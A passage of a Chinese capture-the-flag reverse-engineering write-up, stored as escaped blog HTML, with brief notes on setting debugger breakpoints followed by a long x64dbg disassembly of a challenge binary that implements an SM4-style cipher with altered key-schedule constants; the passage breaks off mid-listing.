class=\"wp-block-paragraph\">\u6211\u4eec\u53ef\u4ee5\u627e\u65b0\u5165\u53e3\u8fd9\u4e2a\u662f\u771f\u5165\u53e3<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-408.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"895\" height=\"203\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-408.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2741\"  sizes=\"auto, (max-width: 895px) 100vw, 895px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u9700\u8981\u6dfb\u52a0\u65ad\u70b9\u5982\u586b\u9519\u4e86\u4e0d\u9000exe<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-409.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"962\" height=\"323\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-409.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2742\"  sizes=\"auto, (max-width: 962px) 100vw, 962px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-410.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"905\" height=\"183\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-410.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2743\"  sizes=\"auto, (max-width: 905px) 100vw, 905px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728rtlexituserstatus\u4e0a\u6dfb\u52a0\u65ad\u70b9<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0b\u9762\u662fc_sm4.401500<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>0000000000401500 | 48:83EC 28               | sub rsp,28                              |\n0000000000401504 | 48:8B05 45410000         | mov rax,qword ptr ds:&#91;405650]           |\n000000000040150B | C700 00000000            | mov dword ptr ds:&#91;rax],0                |\n0000000000401511 | E8 4A150000              | call c_sm4.402A60                       |\n0000000000401516 | E8 95FCFFFF              | call c_sm4.4011B0                       |\n000000000040151B | 90                       | nop                                     |\n000000000040151C | 90                       | nop                                     |\n000000000040151D | 48:83C4 28               | add rsp,28                              |\n0000000000401521 | C3                       | ret                                     |\n0000000000401522 | 90                       | nop                                     |\n0000000000401523 | 90                       | nop                                     |\n0000000000401524 | 90                       | nop                                     |\n0000000000401525 | 90                       | nop                                     |\n0000000000401526 | 90                       | nop                                     |\n0000000000401527 | 90                       | nop                                     |\n0000000000401528 | 90                       | nop                                     |\n0000000000401529 | 90                       | nop                                     |\n000000000040152A | 90                       | nop                                     |\n000000000040152B | 90                       | nop                                     |\n000000000040152C | 90                       | nop                                     |\n000000000040152D | 90                       | nop                                     |\n000000000040152E | 90                       | nop                                     |\n000000000040152F | 90                       | nop                                     |\n0000000000401530 | 55                       | push rbp                                |\n0000000000401531 | 48:89E5                  | mov rbp,rsp                             |\n0000000000401534 | 894D 10                  | mov dword ptr ss:&#91;rbp+10],ecx           |\n0000000000401537 | 8955 18                  | mov dword ptr ss:&#91;rbp+18],edx           |\n000000000040153A | 8B45 18                  | mov eax,dword ptr ss:&#91;rbp+18]           |\n000000000040153D | 8B55 10                  | mov edx,dword ptr ss:&#91;rbp+10]           |\n0000000000401540 | 89C1                     | mov ecx,eax                             |\n0000000000401542 | D3C2                     | rol edx,cl                              |\n0000000000401544 | 89D0                     | mov eax,edx                             |\n0000000000401546 | 5D                       | pop rbp                                 |\n0000000000401547 | C3                       | ret                                     |\n0000000000401548 | 55                       | push rbp                                |\n0000000000401549 | 48:89E5                  | mov rbp,rsp                             |\n000000000040154C | 48:894D 10               | mov qword ptr ss:&#91;rbp+10],rcx           | &#91;rbp+10]:__pioinfo\n0000000000401550 | 48:8B45 10               | mov rax,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n0000000000401554 | 0FB600                   | movzx eax,byte ptr ds:&#91;rax]             |\n0000000000401557 | 0FB6C0                   | movzx eax,al                            |\n000000000040155A | C1E0 18                  | shl eax,18                              |\n000000000040155D | 89C2                     | mov edx,eax                             |\n000000000040155F | 48:8B45 10               | mov rax,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n0000000000401563 | 48:83C0 01               | add rax,1                               |\n0000000000401567 | 0FB600                   | movzx eax,byte ptr ds:&#91;rax]             |\n000000000040156A | 0FB6C0                   | movzx eax,al                            |\n000000000040156D | C1E0 10                  | shl eax,10                              |\n0000000000401570 | 09C2                     | or edx,eax                              |\n0000000000401572 | 48:8B45 10               | mov rax,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n0000000000401576 | 48:83C0 02               | add rax,2                               |\n000000000040157A | 0FB600                   | movzx eax,byte ptr ds:&#91;rax]             |\n000000000040157D | 0FB6C0                   | movzx eax,al                            |\n0000000000401580 | C1E0 08                  | shl eax,8                               |\n0000000000401583 | 09C2                     | or edx,eax                              |\n0000000000401585 | 48:8B45 10               | mov rax,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n0000000000401589 | 48:83C0 03               | add rax,3                               |\n000000000040158D | 0FB600                   | movzx eax,byte ptr ds:&#91;rax]             |\n0000000000401590 | 0FB6C0                   | movzx eax,al                            |\n0000000000401593 | 09D0                     | or eax,edx                              |\n0000000000401595 | 5D                       | pop rbp                                 |\n0000000000401596 | C3                       | ret                                     |\n0000000000401597 | 55                       | push rbp                                |\n0000000000401598 | 48:89E5                  | mov rbp,rsp                             |\n000000000040159B | 48:894D 10               | mov qword ptr ss:&#91;rbp+10],rcx           | &#91;rbp+10]:__pioinfo\n000000000040159F | 8955 18                  | mov dword ptr ss:&#91;rbp+18],edx           |\n00000000004015A2 | 8B45 18                  | mov eax,dword ptr ss:&#91;rbp+18]           |\n00000000004015A5 | C1E8 18                  | shr eax,18                              |\n00000000004015A8 | 89C2                     | mov edx,eax                             |\n00000000004015AA | 48:8B45 10               | mov rax,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n00000000004015AE | 8810                     | mov byte ptr ds:&#91;rax],dl                |\n00000000004015B0 | 48:8B45 10               | mov rax,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n00000000004015B4 | 48:83C0 01               | add rax,1                               |\n00000000004015B8 | 8B55 18                  | mov edx,dword ptr ss:&#91;rbp+18]           |\n00000000004015BB | C1EA 10                  | shr edx,10                              |\n00000000004015BE | 8810                     | mov byte ptr ds:&#91;rax],dl                |\n00000000004015C0 | 48:8B45 10               | mov rax,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n00000000004015C4 | 48:83C0 02               | add rax,2                               |\n00000000004015C8 | 8B55 18                  | mov edx,dword ptr ss:&#91;rbp+18]           |\n00000000004015CB | C1EA 08                  | shr edx,8                               |\n00000000004015CE | 8810                     | mov byte ptr ds:&#91;rax],dl                |\n00000000004015D0 | 48:8B45 10               | mov rax,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n00000000004015D4 | 48:83C0 03               | add rax,3                               |\n00000000004015D8 | 8B55 18                  | mov edx,dword ptr ss:&#91;rbp+18]           |\n00000000004015DB | 8810                     | mov byte ptr ds:&#91;rax],dl                |\n00000000004015DD | 5D                       | pop rbp                                 |\n00000000004015DE | C3                       | ret                                     |\n00000000004015DF | 55                       | push rbp                                |\n00000000004015E0 | 48:89E5                  | mov rbp,rsp                             |\n00000000004015E3 | 48:83EC 30               | sub rsp,30                              |\n00000000004015E7 | 894D 10                  | mov dword ptr ss:&#91;rbp+10],ecx           |\n00000000004015EA | 48:8D45 F0               | lea rax,qword ptr ss:&#91;rbp-10]           |\n00000000004015EE | 8B55 10                  | mov edx,dword ptr ss:&#91;rbp+10]           |\n00000000004015F1 | 48:89C1                  | mov rcx,rax                             |\n00000000004015F4 | E8 9EFFFFFF              | call c_sm4.401597                       |\n00000000004015F9 | 0FB645 F0                | movzx eax,byte ptr ss:&#91;rbp-10]          |\n00000000004015FD | 0FB6C0                   | movzx eax,al                            |\n0000000000401600 | 48:63D0                  | movsxd rdx,eax                          |\n0000000000401603 | 48:8D05 763A0000         | lea rax,qword ptr ds:&#91;405080]           |\n000000000040160A | 0FB60402                 | movzx eax,byte ptr ds:&#91;rdx+rax]         |\n000000000040160E | 8845 F0                  | mov byte ptr ss:&#91;rbp-10],al             |\n0000000000401611 | 0FB645 F1                | movzx eax,byte ptr ss:&#91;rbp-F]           |\n0000000000401615 | 0FB6C0                   | movzx eax,al                            |\n0000000000401618 | 48:63D0                  | movsxd rdx,eax                          |\n000000000040161B | 48:8D05 5E3A0000         | lea rax,qword ptr ds:&#91;405080]           |\n0000000000401622 | 0FB60402                 | movzx eax,byte ptr ds:&#91;rdx+rax]         |\n0000000000401626 | 8845 F1                  | mov byte ptr ss:&#91;rbp-F],al              |\n0000000000401629 | 0FB645 F2                | movzx eax,byte ptr ss:&#91;rbp-E]           |\n000000000040162D | 0FB6C0                   | movzx eax,al                            |\n0000000000401630 | 48:63D0                  | movsxd rdx,eax                          |\n0000000000401633 | 48:8D05 463A0000         | lea rax,qword ptr ds:&#91;405080]           |\n000000000040163A | 0FB60402                 | movzx eax,byte ptr ds:&#91;rdx+rax]         |\n000000000040163E | 8845 F2                  | mov byte ptr ss:&#91;rbp-E],al              |\n0000000000401641 | 0FB645 F3                | movzx eax,byte ptr ss:&#91;rbp-D]           |\n0000000000401645 | 0FB6C0                   | movzx eax,al                            |\n0000000000401648 | 48:63D0                  | movsxd rdx,eax                          |\n000000000040164B | 48:8D05 2E3A0000         | lea rax,qword ptr ds:&#91;405080]           |\n0000000000401652 | 0FB60402                 | movzx eax,byte ptr ds:&#91;rdx+rax]         |\n0000000000401656 | 8845 F3                  | mov byte ptr ss:&#91;rbp-D],al              |\n0000000000401659 | 48:8D45 F0               | lea rax,qword ptr ss:&#91;rbp-10]           |\n000000000040165D | 48:89C1                  | mov rcx,rax                             |\n0000000000401660 | E8 E3FEFFFF              | call c_sm4.401548                       |\n0000000000401665 | 48:83C4 30               | add rsp,30                              |\n0000000000401669 | 5D                       | pop rbp                                 |\n000000000040166A | C3                       | ret                                     |\n000000000040166B | 55                       | push rbp                                |\n000000000040166C | 53                       | push rbx                                |\n000000000040166D | 48:83EC 28               | sub rsp,28                              |\n0000000000401671 | 48:8DAC24 80000000       | lea rbp,qword ptr ss:&#91;rsp+80]           | &#91;rsp+80]:_read+3DA\n0000000000401679 | 894D C0                  | mov dword ptr ss:&#91;rbp-40],ecx           |\n000000000040167C | BA 02000000              | mov edx,2                               |\n0000000000401681 | 8B4D C0                  | mov ecx,dword ptr ss:&#91;rbp-40]           |\n0000000000401684 | E8 A7FEFFFF              | call c_sm4.401530                       |\n0000000000401689 | 3345 C0                  | xor eax,dword ptr ss:&#91;rbp-40]           |\n000000000040168C | 89C3                     | mov ebx,eax                             |\n000000000040168E | BA 0A000000              | mov edx,A                               | 0A:'n'\n0000000000401693 | 8B4D C0                  | mov ecx,dword ptr ss:&#91;rbp-40]           |\n0000000000401696 | E8 95FEFFFF              | call c_sm4.401530                       |\n000000000040169B | 31C3                     | xor ebx,eax                             |\n000000000040169D | BA 12000000              | mov edx,12                              |\n00000000004016A2 | 8B4D C0                  | mov ecx,dword ptr ss:&#91;rbp-40]           |\n00000000004016A5 | E8 86FEFFFF              | call c_sm4.401530                       |\n00000000004016AA | 31C3                     | xor ebx,eax                             |\n00000000004016AC | BA 18000000              | mov edx,18                              |\n00000000004016B1 | 8B4D C0                  | mov ecx,dword ptr ss:&#91;rbp-40]           |\n00000000004016B4 | E8 77FEFFFF              | call c_sm4.401530                       |\n00000000004016B9 | 31D8                     | xor eax,ebx                             |\n00000000004016BB | 48:83C4 28               | add rsp,28                              |\n00000000004016BF | 5B                       | pop rbx                                 |\n00000000004016C0 | 5D                       | pop rbp                                 |\n00000000004016C1 | C3                       | ret                                     |\n00000000004016C2 | 55                       | push rbp                                |\n00000000004016C3 | 53                       | push rbx                                |\n00000000004016C4 | 48:83EC 28               | sub rsp,28                              |\n00000000004016C8 | 48:8DAC24 80000000       | lea rbp,qword ptr ss:&#91;rsp+80]           | &#91;rsp+80]:_read+3DA\n00000000004016D0 | 894D C0                  | mov dword ptr ss:&#91;rbp-40],ecx           |\n00000000004016D3 | BA 0D000000              | mov edx,D                               | 0D:'r'\n00000000004016D8 | 8B4D C0                  | mov ecx,dword ptr ss:&#91;rbp-40]           |\n00000000004016DB | E8 50FEFFFF              | call c_sm4.401530                       |\n00000000004016E0 | 3345 C0                  | xor eax,dword ptr ss:&#91;rbp-40]           |\n00000000004016E3 | 89C3                     | mov ebx,eax                             |\n00000000004016E5 | BA 17000000              | mov edx,17                              |\n00000000004016EA | 8B4D C0                  | mov ecx,dword ptr ss:&#91;rbp-40]           |\n00000000004016ED | E8 3EFEFFFF              | call c_sm4.401530                       |\n00000000004016F2 | 31D8                     | xor eax,ebx                             |\n00000000004016F4 | 48:83C4 28               | add rsp,28                              |\n00000000004016F8 | 5B                       | pop rbx                                 |\n00000000004016F9 | 5D                       | pop rbp                                 |\n00000000004016FA | C3                       | ret                                     |\n00000000004016FB | 55                       | push rbp                                |\n00000000004016FC | 48:89E5                  | mov rbp,rsp                             |\n00000000004016FF | 48:83EC 20               | sub rsp,20                              |\n0000000000401703 | 894D 10                  | mov dword ptr ss:&#91;rbp+10],ecx           |\n0000000000401706 | 8B4D 10                  | mov ecx,dword ptr ss:&#91;rbp+10]           |\n0000000000401709 | E8 D1FEFFFF              | call c_sm4.4015DF                       |\n000000000040170E | 89C1                     | mov ecx,eax                             |\n0000000000401710 | E8 56FFFFFF              | call c_sm4.40166B                       |\n0000000000401715 | 48:83C4 20               | add rsp,20                              |\n0000000000401719 | 5D                       | pop rbp                                 |\n000000000040171A | C3                       | ret                                     |\n000000000040171B | 55                       | push rbp                                |\n000000000040171C | 48:89E5                  | mov rbp,rsp                             |\n000000000040171F | 48:83EC 20               | sub rsp,20                              |\n0000000000401723 | 894D 10                  | mov dword ptr ss:&#91;rbp+10],ecx           |\n0000000000401726 | 8B4D 10                  | mov ecx,dword ptr ss:&#91;rbp+10]           |\n0000000000401729 | E8 B1FEFFFF              | call c_sm4.4015DF                       |\n000000000040172E | 89C1                     | mov ecx,eax                             |\n0000000000401730 | E8 8DFFFFFF              | call c_sm4.4016C2                       |\n0000000000401735 | 48:83C4 20               | add rsp,20                              |\n0000000000401739 | 5D                       | pop rbp                                 |\n000000000040173A | C3                       | ret                                     |\n000000000040173B | 55                       | push rbp                                |\n000000000040173C | 56                       | push rsi                                |\n000000000040173D | 53                       | push rbx                                |\n000000000040173E | 48:89E5                  | mov rbp,rsp                             |\n0000000000401741 | 48:81EC D0000000         | sub rsp,D0                              |\n0000000000401748 | 48:894D 20               | mov qword ptr ss:&#91;rbp+20],rcx           |\n000000000040174C | 48:8955 28               | mov qword ptr ss:&#91;rbp+28],rdx           |\n0000000000401750 | 48:8B45 28               | mov rax,qword ptr ss:&#91;rbp+28]           |\n0000000000401754 | 48:89C1                  | mov rcx,rax                             |\n0000000000401757 | E8 ECFDFFFF              | call c_sm4.401548                       |\n000000000040175C | 8945 E0                  | mov dword ptr ss:&#91;rbp-20],eax           |\n000000000040175F | 48:8B45 28               | mov rax,qword ptr ss:&#91;rbp+28]           |\n0000000000401763 | 48:83C0 04               | add rax,4                               |\n0000000000401767 | 48:89C1                  | mov rcx,rax                             |\n000000000040176A | E8 D9FDFFFF              | call c_sm4.401548                       |\n000000000040176F | 8945 E4                  | mov dword ptr ss:&#91;rbp-1C],eax           |\n0000000000401772 | 48:8B45 28               | mov rax,qword ptr ss:&#91;rbp+28]           |\n0000000000401776 | 48:83C0 08               | add rax,8                               |\n000000000040177A | 48:89C1                  | mov rcx,rax                             |\n000000000040177D | E8 C6FDFFFF              | call c_sm4.401548                       |\n0000000000401782 | 8945 E8                  | mov dword ptr ss:&#91;rbp-18],eax           |\n0000000000401785 | 48:8B45 28               | mov rax,qword ptr ss:&#91;rbp+28]           |\n0000000000401789 | 48:83C0 0C               | add rax,C                               |\n000000000040178D | 48:89C1                  | mov rcx,rax                             |\n0000000000401790 | E8 B3FDFFFF              | call c_sm4.401548                       |\n0000000000401795 | 8945 EC                  | mov dword ptr ss:&#91;rbp-14],eax           |\n0000000000401798 | 8B45 E0                  | mov eax,dword ptr ss:&#91;rbp-20]           |\n000000000040179B | BA C6BAB1A3              | mov edx,A3B1BAC6                        |\n00000000004017A0 | 83C2 01                  | add edx,1                               |\n00000000004017A3 | 31D0                     | xor eax,edx                             |\n00000000004017A5 | 8985 50FFFFFF            | mov dword ptr ss:&#91;rbp-B0],eax           |\n00000000004017AB | 8B45 E4                  | mov eax,dword ptr ss:&#91;rbp-1C]           |\n00000000004017AE | BA 5033AA56              | mov edx,56AA3350                        |\n00000000004017B3 | 83C2 02                  | add edx,2                               |\n00000000004017B6 | 31D0                     | xor eax,edx                             |\n00000000004017B8 | 8985 54FFFFFF            | mov dword ptr ss:&#91;rbp-AC],eax           |\n00000000004017BE | 8B45 E8                  | mov eax,dword ptr ss:&#91;rbp-18]           |\n00000000004017C1 | BA 97917D67              | mov edx,677D9197                        |\n00000000004017C6 | 83C2 03                  | add edx,3                               |\n00000000004017C9 | 31D0                     | xor eax,edx                             |\n00000000004017CB | 8985 58FFFFFF            | mov dword ptr ss:&#91;rbp-A8],eax           |\n00000000004017D1 | 8B45 EC                  | mov eax,dword ptr ss:&#91;rbp-14]           |\n00000000004017D4 | BA DC2270B2              | mov edx,B27022DC                        |\n00000000004017D9 | 83C2 04                  | add edx,4                               |\n00000000004017DC | 31D0                     | xor eax,edx                             |\n00000000004017DE | 8985 5CFFFFFF            | mov dword ptr ss:&#91;rbp-A4],eax           |\n00000000004017E4 | C745 FC 00000000         | mov dword ptr ss:&#91;rbp-4],0              |\n00000000004017EB | E9 A2000000              | jmp c_sm4.401892                        |\n00000000004017F0 | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n00000000004017F3 | 83C0 01                  | add eax,1                               |\n00000000004017F6 | 48:98                    | cdqe                                    |\n00000000004017F8 | 8B9485 50FFFFFF          | mov edx,dword ptr ss:&#91;rbp+rax*4-B0]     |\n00000000004017FF | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n0000000000401802 | 83C0 02                  | add eax,2                               |\n0000000000401805 | 48:98                    | cdqe                                    |\n0000000000401807 | 8B8485 50FFFFFF          | mov eax,dword ptr ss:&#91;rbp+rax*4-B0]     |\n000000000040180E | 31C2                     | xor edx,eax                             |\n0000000000401810 | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n0000000000401813 | 83C0 03                  | add eax,3                               |\n0000000000401816 | 48:98                    | cdqe                                    |\n0000000000401818 | 8B8485 50FFFFFF          | mov eax,dword ptr ss:&#91;rbp+rax*4-B0]     |\n000000000040181F | 89D1                     | mov ecx,edx                             |\n0000000000401821 | 31C1                     | xor ecx,eax                             |\n0000000000401823 | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n0000000000401826 | 48:98                    | cdqe                                    |\n0000000000401828 | 48:8D1485 00000000       | lea rdx,qword ptr ds:&#91;rax*4]            |\n0000000000401830 | 48:8D05 89390000         | lea rax,qword ptr ds:&#91;4051C0]           |\n0000000000401837 | 8B0402                   | mov eax,dword ptr ds:&#91;rdx+rax]          |\n000000000040183A | 31C8                     | xor eax,ecx                             |\n000000000040183C | 8945 F8                  | mov dword ptr ss:&#91;rbp-8],eax            |\n000000000040183F | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n0000000000401842 | 8D70 04                  | lea esi,qword ptr ds:&#91;rax+4]            |\n0000000000401845 | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n0000000000401848 | 48:98                    | cdqe                                    |\n000000000040184A | 8B9C85 50FFFFFF          | mov ebx,dword ptr ss:&#91;rbp+rax*4-B0]     |\n0000000000401851 | 8B45 F8                  | mov eax,dword ptr ss:&#91;rbp-8]            |\n0000000000401854 | 89C1                     | mov ecx,eax                             |\n0000000000401856 | E8 C0FEFFFF              | call c_sm4.40171B                       |\n000000000040185B | 31C3                     | xor ebx,eax                             |\n000000000040185D | 89DA                     | mov edx,ebx                             |\n000000000040185F | 48:63C6                  | movsxd rax,esi                          |\n0000000000401862 | 899485 50FFFFFF          | mov dword ptr ss:&#91;rbp+rax*4-B0],edx     |\n0000000000401869 | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n000000000040186C | 48:98                    | cdqe                                    |\n000000000040186E | 48:8D1485 00000000       | lea rdx,qword ptr ds:&#91;rax*4]            |\n0000000000401876 | 48:8B45 20               | mov rax,qword ptr ss:&#91;rbp+20]           |\n000000000040187A | 48:01C2                  | add rdx,rax                             |\n000000000040187D | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n0000000000401880 | 83C0 04                  | add eax,4                               |\n0000000000401883 | 48:98                    | cdqe                                    |\n0000000000401885 | 8B8485 50FFFFFF          | mov eax,dword ptr ss:&#91;rbp+rax*4-B0]     |\n000000000040188C | 8902                     | mov dword ptr ds:&#91;rdx],eax              |\n000000000040188E | 8345 FC 01               | add dword ptr ss:&#91;rbp-4],1              |\n0000000000401892 | 837D FC 1F               | cmp dword ptr ss:&#91;rbp-4],1F             |\n0000000000401896 | 0F8E 54FFFFFF            | jle c_sm4.4017F0                        |\n000000000040189C | 48:81C4 D0000000         | add rsp,D0                              |\n00000000004018A3 | 5B                       | pop rbx                                 |\n00000000004018A4 | 5E                       | pop rsi                                 |\n00000000004018A5 | 5D                       | pop rbp                                 |\n00000000004018A6 | C3                       | ret                                     |\n00000000004018A7 | 55                       | push rbp                                |\n00000000004018A8 | 48:89E5                  | mov rbp,rsp                             |\n00000000004018AB | 48:81EC B0000000         | sub rsp,B0                              |\n00000000004018B2 | 48:894D 10               | mov qword ptr ss:&#91;rbp+10],rcx           | &#91;rbp+10]:__pioinfo\n00000000004018B6 | 48:8955 18               | mov qword ptr ss:&#91;rbp+18],rdx           |\n00000000004018BA | 48:8B55 18               | mov rdx,qword ptr ss:&#91;rbp+18]           |\n00000000004018BE | 48:8D85 70FFFFFF         | lea rax,qword ptr ss:&#91;rbp-90]           |\n00000000004018C5 | 48:89C1                  | mov rcx,rax                             |\n00000000004018C8 | E8 6EFEFFFF              | call c_sm4.40173B                       |\n00000000004018CD | C745 FC 00000000         | mov dword ptr ss:&#91;rbp-4],0              |\n00000000004018D4 | EB 2B                    | jmp c_sm4.401901                        |\n00000000004018D6 | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n00000000004018D9 | 48:98                    | cdqe                                    |\n00000000004018DB | 48:8D1485 00000000       | lea rdx,qword ptr ds:&#91;rax*4]            |\n00000000004018E3 | 48:8B45 10               | mov rax,qword ptr ss:&#91;rbp+10]           | &#91;rbp+10]:__pioinfo\n00000000004018E7 | 48:01C2                  | add rdx,rax                             |\n00000000004018EA | B8 1F000000              | mov eax,1F                              |\n00000000004018EF | 2B45 FC                  | sub eax,dword ptr ss:&#91;rbp-4]            |\n00000000004018F2 | 48:98                    | cdqe                                    |\n00000000004018F4 | 8B8485 70FFFFFF          | mov eax,dword ptr ss:&#91;rbp+rax*4-90]     |\n00000000004018FB | 8902                     | mov dword ptr ds:&#91;rdx],eax              |\n00000000004018FD | 8345 FC 01               | add dword ptr ss:&#91;rbp-4],1              |\n0000000000401901 | 837D FC 1F               | cmp dword ptr ss:&#91;rbp-4],1F             |\n0000000000401905 | 7E CF                    | jle c_sm4.4018D6                        |\n0000000000401907 | 48:81C4 B0000000         | add rsp,B0                              |\n000000000040190E | 5D                       | pop rbp                                 |\n000000000040190F | C3                       | ret                                     |\n0000000000401910 | 55                       | push rbp                                |\n0000000000401911 | 56                       | push rsi                                |\n0000000000401912 | 53                       | push rbx                                |\n0000000000401913 | 48:89E5                  | mov rbp,rsp                             |\n0000000000401916 | 48:81EC C0000000         | sub rsp,C0                              |\n000000000040191D | 48:894D 20               | mov qword ptr ss:&#91;rbp+20],rcx           |\n0000000000401921 | 48:8955 28               | mov qword ptr ss:&#91;rbp+28],rdx           |\n0000000000401925 | 4C:8945 30               | mov qword ptr ss:&#91;rbp+30],r8            |\n0000000000401929 | 48:8B45 28               | mov rax,qword ptr ss:&#91;rbp+28]           |\n000000000040192D | 48:89C1                  | mov rcx,rax                             |\n0000000000401930 | E8 13FCFFFF              | call c_sm4.401548                       |\n0000000000401935 | 8985 60FFFFFF            | mov dword ptr ss:&#91;rbp-A0],eax           |\n000000000040193B | 48:8B45 28               | mov rax,qword ptr ss:&#91;rbp+28]           |\n000000000040193F | 48:83C0 04               | add rax,4                               |\n0000000000401943 | 48:89C1                  | mov rcx,rax                             |\n0000000000401946 | E8 FDFBFFFF              | call c_sm4.401548                       |\n000000000040194B | 8985 64FFFFFF            | mov dword ptr ss:&#91;rbp-9C],eax           |\n0000000000401951 | 48:8B45 28               | mov rax,qword ptr ss:&#91;rbp+28]           |\n0000000000401955 | 48:83C0 08               | add rax,8                               |\n0000000000401959 | 48:89C1                  | mov rcx,rax                             |\n000000000040195C | E8 E7FBFFFF              | call c_sm4.401548                       |\n0000000000401961 | 8985 68FFFFFF            | mov dword ptr ss:&#91;rbp-98],eax           |\n0000000000401967 | 48:8B45 28               | mov rax,qword ptr ss:&#91;rbp+28]           |\n000000000040196B | 48:83C0 0C               | add rax,C                               |\n000000000040196F | 48:89C1                  | mov rcx,rax                             |\n0000000000401972 | E8 D1FBFFFF              | call c_sm4.401548                       |\n0000000000401977 | 8985 6CFFFFFF            | mov dword ptr ss:&#91;rbp-94],eax           |\n000000000040197D | C745 FC 00000000         | mov dword ptr ss:&#91;rbp-4],0              |\n0000000000401984 | EB 7A                    | jmp c_sm4.401A00                        |\n0000000000401986 | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n0000000000401989 | 83C0 01                  | add eax,1                               |\n000000000040198C | 48:98                    | cdqe                                    |\n000000000040198E | 8B9485 60FFFFFF          | mov edx,dword ptr ss:&#91;rbp+rax*4-A0]     |\n0000000000401995 | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n0000000000401998 | 83C0 02                  | add eax,2                               |\n000000000040199B | 48:98                    | cdqe                                    |\n000000000040199D | 8B8485 60FFFFFF          | mov eax,dword ptr ss:&#91;rbp+rax*4-A0]     |\n00000000004019A4 | 31C2                     | xor edx,eax                             |\n00000000004019A6 | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n00000000004019A9 | 83C0 03                  | add eax,3                               |\n00000000004019AC | 48:98                    | cdqe                                    |\n00000000004019AE | 8B8485 60FFFFFF          | mov eax,dword ptr ss:&#91;rbp+rax*4-A0]     |\n00000000004019B5 | 31C2                     | xor edx,eax                             |\n00000000004019B7 | 8B45 FC                  | mov eax,dword ptr ss:&#91;rbp-4]            |\n00000000004019BA | 48:98                    | cdqe                                    |\n00000000004019BC | 48:8D0C85 00000000       | lea rcx,qword ptr ds:&#91;rax*4]            |\n00000000004019C4 | 48:8B45 20               | mov 